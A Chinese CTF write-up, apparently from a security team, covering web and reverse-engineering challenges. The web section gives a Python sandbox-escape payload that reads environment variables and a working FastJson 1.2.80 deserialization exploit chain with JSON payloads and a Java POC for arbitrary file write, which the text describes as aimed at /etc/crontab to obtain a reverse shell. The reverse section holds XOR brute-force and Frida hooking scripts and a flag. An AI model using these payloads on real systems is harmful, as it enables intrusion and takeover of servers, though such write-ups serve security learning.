招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)
Web:
计算器
''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()') |
删掉disable直接读环境变量
FastJ
本题WP由团队师傅提供。
分析
FastJson1.2.80最新利用
https://github.com/luelueking/CVE-2022-25845-In-Spring
通过Exception期望类可以缓存一些新类,上面能缓存InputStream。
问题任意文件读写需要common-io,需要找到openjdk11下的任意文件读写。
注意到题目采用JDK11,JDK11自带符号信息,可以调用任意构造函数。那么很可能还是利用OutputStream下的子类实现任意文件写。
第一步:缓存OutputStream
根据缓存InputStream的利用,找到缓存OutputStream的gadget。
UTF8JsonGenerator
JsonGenerator
JsonGenerationException
Exception
payload:
{"a":"{\"@type\":\"java.lang.Exception\",\"@type\":\"com.fasterxml.jackson.core.JsonGenerationException\",\"g\":{}}","b":{"$ref":"$.a.a"},"c":"{\"@type\":\"com.fasterxml.jackson.core.JsonGenerator\",\"@type\":\"com.fasterxml.jackson.core.json.UTF8JsonGenerator\",\"out\":{}}","d":{"$ref":"$.c.c"}}
第二步:任意文件写
1.2.80禁用了FileOutputStream,但题目实现了FilterFileOutputStream,结合rmb的利用可实现任意文件写。
{"@type":"java.io.OutputStream","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"com.app.FilterFileOutputStream","name":"/tmp/1234","prefix":"/"},"infl":{"input":{"array":"eJzT0jdU0IJC/aTMPP2kxOIMBd1kBXUII1k1BPyW1TL8kuUDfQs/QxEzPyMAUiI30LSwsLRUM7NQM1QFanhCv","limit":${length}}},"bufLen":"100"},"protocolVersion":1}
array是一个压缩流,生成array方式如下:
String input = "123123123123";
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) {
deflaterOutputStream.write(input.getBytes("UTF-8"));
}
String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
int leng = byteArrayOutputStream.toByteArray().length;
System.out.println(encoded);
limit设置为解压缩后byte的length。
第三步:定时任务
这步需要些脑洞。测试时发现远程可以在/root目录下写文件,判断权限为root。因此任意文件写到/etc/crontab,定时任务反弹shell即可。
POC
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.util.LinkedMultiValueMap;
import org.springframework.web.client.RestClientException;
import org.springframework.web.client.RestTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;
publicclassPOC{
static String target = "http://localhost:8080/";
publicstatic Object sendJson(String payload){
try {
RestTemplate restTemplate = new RestTemplate();
HttpHeaders httpHeaders = new HttpHeaders();
httpHeaders.setContentType(MediaType.APPLICATION_FORM_URLENCODED);
LinkedMultiValueMap<Object, Object> map = new LinkedMultiValueMap<>();
map.add("json", payload);
HttpEntity<LinkedMultiValueMap<Object, Object>> request = new HttpEntity<>(map, httpHeaders);
return restTemplate.postForObject(target, request, String.class);
} catch (RestClientException e) {
return"null";
}
}
publicstaticvoidmain(String[] args)throws IOException, CannotCompileException, NotFoundException, InterruptedException {
// 1. add inputStream to fastjson cache
String payload1 = new String(Files.readAllBytes(Paths.get("payloads/step1.json")));
sendJson(payload1);
System.out.println(payload1);
String path = "E://squirt1e.txt";
String input = "nese123";
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream)) {
deflaterOutputStream.write(input.getBytes("UTF-8"));
}
String encoded = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
int leng = byteArrayOutputStream.toByteArray().length;
String payload2 = new String(Files.readAllBytes(Paths.get("payloads/step3-.json")));
payload2 = payload2.replace("{ABC}", encoded).replace("\"{ABCD}\"",String.valueOf(leng)).replace("{path}",path);
sendJson(payload2);
System.out.println(payload2);
}
step1.json
{
"a": "{ \"@type\": \"java.lang.Exception\", \"@type\": \"com.fasterxml.jackson.core.JsonGenerationException\", \"g\": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ \"@type\": \"com.fasterxml.jackson.core.JsonGenerator\", \"@type\": \"com.fasterxml.jackson.core.json.UTF8JsonGenerator\", \"out\": {}}",
"d": {
"$ref": "$.c.c"
}
}
step3-.json
{
"@type": "java.io.OutputStream",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "com.app.FilterFileOutputStream",
"name": "{path}",
"prefix": "/"
},
"infl": {
"input": {
"array": "{ABC}",
"limit": "{ABCD}"
}
},
"bufLen": "100"
},
"protocolVersion": 1
}
Reverse:
Customize Virtual Machine
输入长度限制为50,构造一下输入之后将关键逻辑锁定到这里,此处是取输入的字符与一组密文进行异或,func_len中所存的即是每一组密文的长度,而func_data即是所存储的函数(加密之后的),那么此处的逻辑就是一个smc了,input只要能满足正常解密出所有的函数逻辑即可
然后后面再使用解密出的函数做后面的约束
那么现在的思路就比较清晰了,只要能fuzz出那个满足正常异或出函数逻辑的输入即可,单字节的一个爆破,翻看一下待解密的模块,找到一点小技巧,0异或一个字节是那个字节本身,那么正确的字节是0的话异或目标字节就会是那个字节,就像下面这块,有连续的z出现,那么目标字节大概率就是z
输入z之后修一下,成功修复,找一下规律,每个函数最后的retn就是最好的标志
写个脚本fuzz一下,retn对应的字节码是c3,懒得写自动化了。。。手动替换一下bytes_array,嘻嘻
Pythonbytes_array = [0x90, 0xFB, 0xF1, 0x17, 0x89, 0x89, 0x89, 0xF5, 0x86, 0x7D,0xF5, 0xB6, 0x73, 0xB5]last_byte = bytes_array[-1]target = 0xC3xor_char = last_byte ^ target# 检查是否在 0-9, a-z, _ 范围内if (48 <= xor_char <= 57) or (97 <= xor_char <= 122) or (xor_char == 95):print(f"找到的异或字符: '{chr(xor_char)}'")else:print("没有找到符合条件的异或字符。") |
最后结果是flag{c9z2cn9jmvkh30aqjwrb3urxtkp10q8b0vr_9dbfrocalkn1v5}
drillbeam
java层没什么逻辑,校验是在native层做的
跟calc函数到native层之后,分析sub_184C函数走的是一个xxtea的逻辑
那么直接上frida拿一下这个函数的几个参数,应该就能得到key是114514,补充一下密钥长度即可
bytes_array = [0x90, 0xFB, 0xF1, 0x17, 0x89, 0x89, 0x89, 0xF5, 0x86, 0x7D, 0xF5, 0xB6, 0x73, 0xB5]last_byte = bytes_array[-1]target = 0xC3xor_char = last_byte ^ target# 检查是否在 0-9, a-z, _ 范围内if (48 <= xor_char <= 57) or (97 <= xor_char <= 122) or (xor_char == 95): print(f"找到的异或字符: '{chr(xor_char)}'")else: print("没有找到符合条件的异或字符。")
发现还将字符的长度也传入了
然后传出的内容也和java层收到的是一样的,故而大胆判断应该就只走了个xxtea
很抽象input和输出的加密内容不是一一对应的,有补齐,fuzz了一下输入长度,16、15、14、13这样
算法没什么太大魔改,就delta不确定,交叉引用到init_array段,发现有初始化,但是直接解解不开,调逻辑又不太能调进去,只能爆破了看来
复写加密算法的时候调不出来和程序一样的结果,最后猜测了一下,就是将长度补位到待加密内容的最后,参考上面hook xxtea 的几个参数内容,那么这样的话明文长度应该就是16、15、14、13依次加一的范围
functiongetModuleBaseAddress(moduleName) {return Process.getModuleByName(moduleName).base;}functiongetFunctionAddress(moduleName, offset) {const base = getModuleBaseAddress(moduleName);return base.add(offset);}functionhookSub2E668() {const moduleName = "libre0.so";const funcOffset = 0x184C;const funcAddress = getFunctionAddress(moduleName, funcOffset);console.log(`tea address: ${funcAddress}`); Interceptor.attach(funcAddress, {onEnter: function(args) {console.log(`tea called with:`);console.log(` arg1 (X0): ${args[0]}`);console.log(` arg2 (X2): ${args[2]}`);console.log(` arg2 (X3): ${args[3]}`);//console.log(` arg2 (X1): ${args[1]}`);console.log(hexdump(args[0]));console.log(hexdump(args[2]));console.log(hexdump(args[3]));//console.log(hexdump(args[1])); },onLeave: function(retval) {//打印xxtea加密之后的结果console.log(`tea returned: ${retval}`);console.log(hexdump(retval)); } });}// 延迟执行以确保模块加载setImmediate(hookSub2E668,2000);
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论